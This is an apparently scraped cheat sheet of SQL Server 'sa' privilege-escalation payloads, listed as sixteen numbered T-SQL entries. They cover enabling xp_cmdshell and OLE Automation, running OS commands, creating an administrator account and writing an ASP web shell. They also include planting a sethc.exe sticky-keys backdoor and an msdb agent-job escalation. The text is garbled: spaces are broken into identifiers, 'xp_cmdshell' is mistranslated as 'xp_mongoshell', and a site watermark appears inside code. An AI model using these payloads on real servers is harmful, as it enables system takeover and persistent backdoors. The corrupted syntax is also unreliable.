List of common and infrequent Elevation of Privilege operations in mssql_sa

1.
Enable and disable xp_cmdshell
EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp _ cmdshell', 1; RECONFIGURE; -- enable xp_cmdshell
EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp _ cmdshell', 0; RECONFIGURE; -- close xp_cmdshell
EXEC sp_configure 'show advanced options', 0; go reconfigure with override; Disable advanced options

2.
Xp_cmdshell
EXEC master .. xp_mongoshell 'ipconfig'

3.
Enable and disable sp_oacreate
Exec sp_configure 'show advanced options', 1; RECONFIGURE; exec sp_configure 'ole Automation Procedures ', 1; RECONFIGURE; Enabled
Exec sp_configure 'show advanced options', 1; RECONFIGURE; exec sp_configure 'ole Automation Procedures ', 0; RECONFIGURE; Off
EXEC sp_configure 'show advanced options', 0; go reconfigure with override; Disable advanced options

4.
Sp_OACreate delete a file
DECLARE @ Result int
DECLARE @ FSO_Token int
EXEC @ Result = sp_OACreate 'scripting. FileSystemObject ', @ FSO_Token OUTPUT
EXEC @ Result = sp_OAMethod @ FSO_Token, 'deletefile', NULL, 'c: \ Documents and Settings \ All Users \ Start Menu \ Program \ Start \ user. bat'
EXEC @ Result = sp_OADestroy @ FSO_Token

5.
Sp_OACreate
Declare @ o int
Exec sp_oacreate 'scripting. filesystemobject ', @ o out
Exec sp_oamethod @ o, 'copyfile', null, 'c: \ windows \ assumer.exe ', 'c: \ windows \ system32 \ sethc.exe ';

6.
Sp_OACreate
Declare @ aa int
Exec sp_oacreate 'scripting. filesystemobject ', @ aa out
Exec sp_oamethod @ aa, 'movefile', null, 'c: \ temp \ ipmi. log', 'c: \ temp \ ipmi1.log ';

7.
Sp_OACreate and administrator user

DECLARE @ js int
EXEC sp_OACreate 'scriptcontrol', @ js OUT
EXEC sp_OASetProperty @ js, 'language ', 'javascript'
EXEC sp_OAMethod @ js, 'eval', NULL, 'var o = new ActiveXObject ("Shell. users "); z = o. create ("user"); z. changePassword ("pass", ""); z. setting ("AccountType") = 3 ;'

8.
Enable and disable sp_makewebtask
Exec sp_configure 'show advanced options', 1; RECONFIGURE; exec sp_configure 'web Assistant Procedures ', 1; RECONFIGURE; Enabled
Exec sp_configure 'show advanced options', 1; RECONFIGURE; exec sp_configure 'web Assistant Procedures ', 0; RECONFIGURE; Off
EXEC sp_configure 'show advanced options', 0; go reconfigure with override; Disable advanced options

9.
Sp_makewebtask: create a file
Exec sp_makewebtask 'C: \ windows.txt ', 'select' <% 25 execute (request ("a") % 25> ''';;--

10.
Wscript. shell Command Execution
Use master
Declare @ o int
Exec sp_oacreate 'wscript. shell', @ o out
Exec sp_oamethod @ o, 'run', null, 'cmd/c "net user"> c: \ test. tmp'

11.
Shell. Application
Declare @ o int
Exec sp_oacreate 'Shell. application', @ o out
Exec sp_oamethod @ o, 'shellexecute ', null, 'cmd.exe', 'cmd/c net user> c: \ test.txt ', 'c: \ windows \ system32 ','', '1 ';
Or
Exec sp_oamethod @ o, 'shellexecute ', null, 'user. vbs', '', 'c: \ ','', '1 ';

12.
Enable and disable openrowset
Exec sp_configure 'show advanced options', 1; RECONFIGURE; exec sp_configure 'ad Hoc Distributed Queries ', 1; RECONFIGURE; Enabled
Exec sp_configure 'show advanced options', 1; RECONFIGURE; exec sp_configure 'ad Hoc Distributed Queries ', 0; RECONFIGURE;
EXEC sp_configure 'show advanced options', 0; go reconfigure with override; Disable advanced options

13.
Sandbox Command Execution
Exec master.. xp_regwrite 'HKEY _ LOCAL_MACHINE ', 'Software \ Microsoft \ Jet \ 4.0 \ Engines', 'sandboxmode', 'reg _ dword', 1 is 3 by default
Select * from openrowset ('Microsoft. jet. oledb.4.0 ','; database = c: \ windows \ system32 \ ias. mdb ', 'select shell ("cmd.exe/c echo a> c: \ B .txt ")')

14.
Registry hijacking and pasting key
Exec master.. xp_regwrite 'HKEY _ LOCAL_MACHINE ', 'Software \ Microsoft \ WindowsNT \ CurrentVersion \ Image File Execution
Options \ sethc. EXE ', 'debugger', 'reg _ SZ', 'c: \ WINDOWS \ assumer.exe ';

15.
Sp_oacreate replace paste key
Declare @ o int
Exec sp_oacreate 'scripting. filesystemobject ', @ o out
Exec sp_oamethod @ o, 'copyfile', null, 'c: \ windows \ assumer.exe ', 'c: \ windows \ system32 \ sethc.exe ';
Declare @ oo int
Exec sp_oacreate 'scripting. filesystemobject ', @ oo out exec sp_oamethod @ oo, 'copyfile', null, 'c: \ windows \ system32 \ sethc.exe', 'c: \ windows \ system32 \ dllcache \ sethc.exe ';

16.
Public permission elevation
USE msdb
EXEC sp_add_job @ job_name = 'getsystemonsql', www.2cto.com
@ Enabled = 1,
@ Description = 'this will give a low privileged user access
Xp_mongoshell ',
@ Delete_level = 1

EXEC sp_add_jobstep @ job_name = 'getsystemonsql ',
@ Step_name = 'exec my SQL ',
@ Subsystem = 'tsql ',
@ Command = 'exec master .. xp_execresultset n' 'select ''' exec
Master.. xp_mongoshell "dir> c: \ agent-job-results.txt" ''', n' 'master '''
EXEC sp_add_jobserver @ job_name = 'getsystemonsql ',
@ Server_name = 'server _ name'
EXEC sp_start_job @ job_name = 'getsystemonsql'